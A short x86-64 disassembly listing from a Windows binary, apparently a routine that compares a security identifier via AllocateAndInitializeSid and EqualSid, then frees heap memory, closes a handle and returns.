call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14000e8a3
mov rdx, qword [rbx]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
cmovne edi, esi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0xa8]
mov eax, edi
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.1400218f0
add rsp, 0x90
pop rdi
ret